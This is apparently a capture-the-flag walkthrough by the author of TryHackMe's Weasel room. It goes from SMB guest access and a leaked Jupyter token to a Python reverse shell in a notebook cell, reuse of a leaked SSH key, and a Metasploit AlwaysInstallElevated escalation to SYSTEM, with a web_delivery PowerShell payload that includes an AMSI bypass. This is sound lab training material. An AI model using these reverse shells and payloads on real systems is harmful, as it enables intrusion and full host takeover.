I think the data science team has been a little fast and loose with their project resources…
@August 11, 2022
Difficulty: Medium
Weasel is another room that I released on TryHackMe! It’s way more approachable than my other room, Takedown.
Table of Contents (Spoilers!)
Key Skills Required (Spoilers!)
High Level Overview (Spoilers!)
This room is a pretty classic enum→exploit machine but I threw in a twist or two. Most of this room is pretty easy, but there are one or two gotchas that I think will surprise most people.
Fire up Nmap and let’s begin!
Note: there may be some differences my walkthrough (different IP addresses, hostnames) but rest assured, those differences are inconsequential.
Enumeration
Nmap Scan
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.10.1.133 130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-11 15:11 EDT
Nmap scan report for 10.10.1.133
Host is up (0.00015s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 ee:2d:a8:12:80:1c:ad:28:f1:bc:77:39:fa:56:d4:ee (RSA)
| 256 9b:ec:76:f9:7a:48:29:19:55:94:44:4f:b9:ac:79:21 (ECDSA)
|_ 256 77:2d:b6:a3:fd:7d:a8:49:6e:9b:3d:18:43:f2:17:e2 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8888/tcp open http Tornado httpd 6.2
|_http-server-header: TornadoServer/6.2
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Jupyter Notebook
|_Requested resource was /login?next=%2Ftree%3F
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: DEV-DATASCI-JUP, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:76:97:8c (VMware)
| smb2-time:
| date: 2022-08-11T19:11:27
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.68 seconds
We have some standard Windows ports and a few that are kinda whacky. SSH appears to be enabled on port 22, which notes that it’s running OpenSSH for Windows.
An SSH server enabled on Windows! That’s uncommon.
We also have a little information about the host. The NetBIOS name is DEV-DATASCI-JUP and SMB signing is enabled but not required.
The most interesting port here is on 8888, which is non-standard for Windows hosts. Let’s start there.
Jupyter Notebook Page
The main page at 8888 is the authentication portal for a Jupyter Notebook:
What are Jupyter Notebooks, you may ask? Well, they are simply awesome!
From the website:
The Jupyter Notebook is the original web application for creating and sharing computational documents. It offers a simple, streamlined, document-centric experience.
Jupyter Notebooks are a way of hosting web pages that combine code alongside documentation. The classic Jupyter Notebook uses a Python kernel as its main engine, but there are tons of different languages that you can use with Jupyter Notebooks.
Notebooks are split up into cells, which act as individual chunks of code that can be run in sequence or alone. You can also use Markdown in cells to provide documentation next to the code you run.
Now, cool as all of that is, we can’t access this notebook page yet because we don’t have authentication material. We can try to directory bust here, but it doesn’t do much.
Let’s put a pin in this one and come back in a bit.
SMB
The next most interesting port is 445, or SMB. Let’s see what kind of accesses we have:
┌──(kali㉿kali)-[~/Desktop]
└─$ ./cme smb 10.10.1.138
SMB 10.10.1.138 445 DEV-DATASCI-JUP [*] Windows 10.0 Build 17763 x64 (name:DEV-DATASCI-JUP) (domain:DEV-DATASCI-JUP) (signing:False) (SMBv1:False)
┌──(kali㉿kali)-[~/Desktop]
└─$ ./cme smb 10.10.1.138 -u "guest" -p ""
SMB 10.10.1.138 445 DEV-DATASCI-JUP [*] Windows 10.0 Build 17763 x64 (name:DEV-DATASCI-JUP) (domain:DEV-DATASCI-JUP) (signing:False) (SMBv1:False)
SMB 10.10.1.138 445 DEV-DATASCI-JUP [+] DEV-DATASCI-JUP\guest:
┌──(kali㉿kali)-[~/Desktop]
└─$ ./cme smb 10.10.1.138 -u "kali" -p ""
SMB 10.10.1.138 445 DEV-DATASCI-JUP [*] Windows 10.0 Build 17763 x64 (name:DEV-DATASCI-JUP) (domain:DEV-DATASCI-JUP) (signing:False) (SMBv1:False)
SMB 10.10.1.138 445 DEV-DATASCI-JUP [+] DEV-DATASCI-JUP\kali:
┌──(kali㉿kali)-[~/Desktop]
└─$ ./cme smb 10.10.1.138 -u "" -p ""
SMB 10.10.1.138 445 DEV-DATASCI-JUP [*] Windows 10.0 Build 17763 x64 (name:DEV-DATASCI-JUP) (domain:DEV-DATASCI-JUP) (signing:False) (SMBv1:False)
SMB 10.10.1.138 445 DEV-DATASCI-JUP [-] DEV-DATASCI-JUP\: STATUS_ACCESS_DENIED
Both Guest access and arbitrary name access are available without a password! Let’s enumerate shares:
┌──(kali㉿kali)-[~/Desktop]
└─$ ./cme smb 10.10.1.138 -u "guest" -p "" --shares
SMB 10.10.1.138 445 DEV-DATASCI-JUP [*] Windows 10.0 Build 17763 x64 (name:DEV-DATASCI-JUP) (domain:DEV-DATASCI-JUP) (signing:False) (SMBv1:False)
SMB 10.10.1.138 445 DEV-DATASCI-JUP [+] DEV-DATASCI-JUP\guest:
SMB 10.10.1.138 445 DEV-DATASCI-JUP [+] Enumerated shares
SMB 10.10.1.138 445 DEV-DATASCI-JUP Share Permissions Remark
SMB 10.10.1.138 445 DEV-DATASCI-JUP ----- ----------- ------
SMB 10.10.1.138 445 DEV-DATASCI-JUP ADMIN$ Remote Admin
SMB 10.10.1.138 445 DEV-DATASCI-JUP C$ Default share
SMB 10.10.1.138 445 DEV-DATASCI-JUP datasci-team READ,WRITE
SMB 10.10.1.138 445 DEV-DATASCI-JUP IPC$ READ Remote IPC
Going further with SMBmap:
┌──(kali㉿kali)-[~/Desktop]
└─$ smbmap -H 10.10.1.138 -u "guest" -R "datasci-team"
[+] IP: 10.10.1.138:445 Name: 10.10.1.138
Disk Permissions Comment
---- ----------- -------
datasci-team READ, WRITE
.\datasci-team\*
dr--r--r-- 0 Thu Aug 25 11:22:38 2022 .
dr--r--r-- 0 Thu Aug 25 11:22:38 2022 ..
dr--r--r-- 0 Thu Aug 25 09:36:40 2022 .ipynb_checkpoints
dr--r--r-- 0 Thu Aug 25 09:36:40 2022 misc
dr--r--r-- 0 Thu Aug 25 09:36:40 2022 papers
dr--r--r-- 0 Thu Aug 25 09:36:40 2022 pics
Well, it looks like the data science team has been hard at work studying weasels! There’s lots of research papers, graphs, charts, etc. in this share. We have read and write access, so we’re free to pilfer anything we want.
That jupyter-token.txt
in misc/
looks promising…
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient \\\\10.10.1.138\\datasci-team -U "kali"
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Aug 25 11:27:02 2022
.. D 0 Thu Aug 25 11:27:02 2022
.ipynb_checkpoints DA 0 Thu Aug 25 11:26:47 2022
Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv A 146 Thu Aug 25 11:26:46 2022
misc DA 0 Thu Aug 25 11:26:47 2022
MPE63-3_745-757.pdf A 414804 Thu Aug 25 11:26:46 2022
papers DA 0 Thu Aug 25 11:26:47 2022
pics DA 0 Thu Aug 25 11:26:47 2022
requirements.txt A 12 Thu Aug 25 11:26:46 2022
weasel.ipynb A 4308 Thu Aug 25 11:26:46 2022
weasel.txt A 51 Thu Aug 25 11:26:46 2022
15587583 blocks of size 4096. 8548506 blocks available
smb: \> cd misc\
smb: \misc\> dir
. DA 0 Thu Aug 25 11:26:47 2022
.. DA 0 Thu Aug 25 11:26:47 2022
jupyter-token.txt A 52 Thu Aug 25 11:26:47 2022
15587583 blocks of size 4096. 8548502 blocks available
smb: \misc\> get jupyter-token.txt
getting file \misc\jupyter-token.txt of size 52 as jupyter-token.txt (50.8 KiloBytes/sec) (average 50.8 KiloBytes/sec)
┌──(kali㉿kali)-[~/Desktop]
└─$ cat jupyter-token.txt
[REDACTED]
Could this be the token for the Jupyter Notebook we saw earlier? Let’s try.
Lovely!
Initial Access
This Jupyter Notebook actually looks like it has the same content from the share. The difference here is that this Notebook’s Python kernel is alive and kicking. And we can interact with it through the website.
Click on weasel.ipynb
to go to the web-based interactive Python notebook:
We have some Markdown text explaining what’s going on with this notebook. More weasel research! But below that, we have some Python that is reading in a CSV file, importing Pandas and Numpy, and some other stuff:
This is all working, running Python code. The code here seems to be supporting weasel research efforts, but can we inject arbitrary Python code somewhere and gain execution on the host?
Yes, yes we can.
Click on the plus sign to add a cell:
Enter any Python into the cell and press Ctl+Enter
to run the cell:
This is as good as if we had access to a console with Python running on the host. Folks, you know what to do!
Add a Python reverse shell into a new cell:
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[Kali IP]",[Port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
When ready, start a netcat listener and run the cell!
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.1.132] from (UNKNOWN) [10.10.1.133] 49932
$ whoami && hostname
whoami && hostname
dev-datasci
dev-datasci-jupyter
h a c k e r m a n. i’m in.
In… a Linux terminal…?
Pivot from Foothold (User.txt)
Are we in a container? Not exactly.
$ uname -a && uname -r
uname -a && uname -r
Linux dev-datasci-jupyter 4.4.0-17763-Microsoft #2268-Microsoft Thu Oct 07 16:36:00 PST 2021 x86_64 x86_64 x86_64 GNU/Linux
4.4.0-17763-Microsoft
We’re in WSL! Weird.
We can improve our shell and look around:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
(base) dev-datasci@dev-datasci-jupyter:~/jupyter-weasle-dev$
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nvlp 4444
(base) dev-datasci@dev-datasci-jupyter:~/jupyter-weasle-dev$
(base) dev-datasci@dev-datasci-jupyter:~/jupyter-weasle-dev$ ls
'Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv' pics
MPE63-3_745-757.pdf requirements.txt
misc weasel.ipynb
papers weasel.txt
(base) dev-datasci@dev-datasci-jupyter:~$ sudo -l
Matching Defaults entries for dev-datasci on dev-datasci-jupyter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dev-datasci may run the following commands on dev-datasci-jupyter:
(ALL : ALL) ALL
(ALL) NOPASSWD: /home/dev-datasci/.local/bin/jupyter, /bin/su dev-datasci
-c *
That (base)
tag next to the bash prompt means we’re using Anaconda, which is a Python data science distribution.
We don’t have to go far to find our next move:
(base) dev-datasci@dev-datasci-jupyter:~/jupyter-weasle-dev$ cd ..
(base) dev-datasci@dev-datasci-jupyter:~$ ls
Anaconda3-2022.05-Linux-x86_64.sh dev-datasci-lowpriv_id_ed25519
anaconda3 jupyter-weasle-dev
Privesc may be possible from those sudo entries but it turns out that it’s not even necessary. Check out the SSH key!
(base) dev-datasci@dev-datasci-jupyter:~$ cat dev-datasci-lowpriv_id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
...
An SSH private key has been left in this host. Bingo. Recall that SSH is open on the host system. We can try to use it to log in:
┌──(kali㉿kali)-[~/Desktop]
└─$ nano dev-rsa
[paste the key in]
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 dev-rsa
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i dev-rsa dev-datasci-lowpriv@10.10.1.133
Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.
dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>whoami && hostname
dev-datasci-jup\dev-datasci-lowpriv
dev-datasci-jupyter
We’re now on the Windows server host in an SSH session!
We can grab user.txt:
dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv\Desktop>type user.txt
THM{REDACTED}
Privilege Escalation (Root.txt)
The privesc for this machine is pretty straightforward with one potential gotcha.
First, we’ll want to enumerate for our privesc. Any Windows enumeration method will do for this one. I’ll gain a Meterpreter shell on the host and use the local exploit suggester and WinPEAS:
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 10.10.1.132:4444
[*] Using URL: http://0.0.0.0:8080/3AIKdY
[*] Local IP: http://10.10.1.132:8080/3AIKdY
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQB.......
dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv\Desktop>powershell.exe -nop -w hidden -e WwBOAG
UAdAA...
[*] 10.10.1.133 web_delivery - Delivering AMSI Bypass (1383 bytes)
[*] 10.10.1.133 web_delivery - Delivering Payload (3736 bytes)
[*] Sending stage (200262 bytes) to 10.10.1.133
[*] Meterpreter session 1 opened....
meterpreter > getuid
Server username: DEV-DATASCI-JUP\dev-datasci-lowpriv
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.1.133 - Collecting local exploits for x64/windows...
[*] 10.10.1.133 - 3 exploit checks are being tried...
[+] 10.10.1.133 - exploit/windows/local/always_install_elevated: The target is vulnerable.
We get a hit for AlwaysInstallElevated. If we run WinPEAS, we can correlate this:
meterpreter > upload winPEASx64.exe
[*] uploading : /home/kali/Desktop/winPEASx64.exe -> winPEASx64.exe
[*] Uploaded 1.87 MiB of 1.87 MiB (100.0%): /home/kali/Desktop/winPEASx64.exe -> winPEASx64.exe
[*] uploaded : /home/kali/Desktop/winPEASx64.exe -> winPEASx64.exe
meterpreter > shell
Process 2688 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\dev-datasci-lowpriv\Desktop>winPEASx64.exe > peas.txt
winPEASx64.exe > peas.txt
meterpreter > cat peas.txt
...
----Checking AlwaysInstallElevated
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
...
If the AlwaysInstallElevated registry key is set to 1 in HKLM and HKCU, this machine is vulnerable to an MSI privilege escalation attack. This is pretty straightforward: if we run a Microsoft Installer file (.msi) as a low privilege user on this host, it will be executed with SYSTEM privileges. We can leverage this for privesc.
The hacktricks article mentioned in the WinPEAS output has the steps for this privesc:
There is also a convenient Metasploit module for it, too.
The gotcha: we’re currently in a session 0 context.
meterpreter > getpid
Current pid: 1200
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
....
1200 3172 powershell.exe x64 0 DEV-DATASCI-JUP\dev-datasci-lowpriv C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
.....
3172 4776 cmd.exe x64 0 DEV-DATASCI-JUP\dev-datasci-lowpriv C:\Windows\System32\cmd.exe
...
4776 2216 sshd.exe x64 0 DEV-DATASCI-JUP\dev-datasci-lo C:\Windows\System32\OpenSSH\ssh
wpriv d.exe
...
Our parent-child relationships go all the way back to sshd.exe
, which is a session 0 process. Session 0 means that our current context is not interactive. We’re spawning out of something that is meant to be a non-interactive service on the host.
If we try to run our privesc MSI in this context, it will not work. Our session 0 context Meterpreter shell will not have access to the required executable: msiexec.exe
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/script/web_delivery) > search always_install
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/always_install_elevated 2010-03-18 excellent Yes Windows AlwaysInstallElevated MSI
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/always_install_elevated
msf6 exploit(multi/script/web_delivery) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) >
....
msf6 exploit(windows/local/always_install_elevated) > set verbose true
verbose => true
msf6 exploit(windows/local/always_install_elevated) > run
[*] Started reverse TCP handler on 10.10.1.132:8443
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\Users\dev-datasci-lowpriv\AppData\Local\Temp\CQSCzRB.msi ...
[*] Executing MSI...
[*] Executing: msiexec.exe /quiet /package C:\Users\dev-datasci-lowpriv\AppData\Local\Temp\CQSCzRB.msi
[*] MSI command-line feedback: The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
No dice! Are we out of luck?
No, we simply need to migrate to a session 1 process before we can continue:
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
...
4000 3944 explorer.exe x64 1 DEV-DATASCI-JUP\dev-datasci-lo C:\Windows\explorer.exe
wpriv
4092 756 RuntimeBroker.exe x64 1 DEV-DATASCI-JUP\dev-datasci-lo C:\Windows\System32\RuntimeBrok
wpriv er.exe
...
4940 4000 python.exe x64 1 DEV-DATASCI-JUP\dev-datasci-lo C:\Users\dev-datasci-lowpriv\Ap
wpriv pData\Local\Programs\Python\Pyt
We have a few to choose from because it looks like the dev-datasci-lowpriv user is logged in and using Python. That seems like a safe bet:
meterpreter > migrate 4940
[*] Migrating from 1200 to 4940...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 4940
Now we can try running the AIE privesc attack again:
....[set up always_install_elevated with x64 meterpreter payload].....
msf6 exploit(windows/local/always_install_elevated) > run
[*] Started reverse TCP handler on 10.10.1.132:8443
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\Users\DEV-DA~1\AppData\Local\Temp\irUNsZIZ.msi ...
[*] Executing MSI...
[*] Executing: msiexec.exe /quiet /package C:\Users\DEV-DA~1\AppData\Local\Temp\irUNsZIZ.msi
[*] Sending stage (200262 bytes) to 10.10.1.133
[*] MSI command-line feedback:
[+] Deleted C:\Users\DEV-DA~1\AppData\Local\Temp\irUNsZIZ.msi
[*] Meterpreter session 2 opened (10.10.1.132:8443 -> 10.10.1.133:49940) at 2022-08-11 16:52:18 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
From there, you can grab the root flag on the Administrator’s desktop.
And that’s it!
I hope you enjoyed this room. I hope it’s approachable and fun. Please let me know what you think! @HusyHacksMK.
Til next time! Keep weaselin’.
-Husky
— — — — — — > Back to Blog
🌐 Where You Can Find Me
🐦 Twitter | 📡 Main Blog | 👽 GitHub | 📺 YouTube
📒Recent Notes
8/30/22 Content Creators, I Will Teach You Cyber Jiu-Jitsu
8/12/22 The Responsible Red Teamer’s Manifesto
7/30/22 On Patching Binaries
7/16/22 MS-Interloper: On the Subject of Malicious MSIs
4/22/22 Failing All The Way To Token Manipulation, Part 1
4/16/22 COM Hijacking Creative Cloud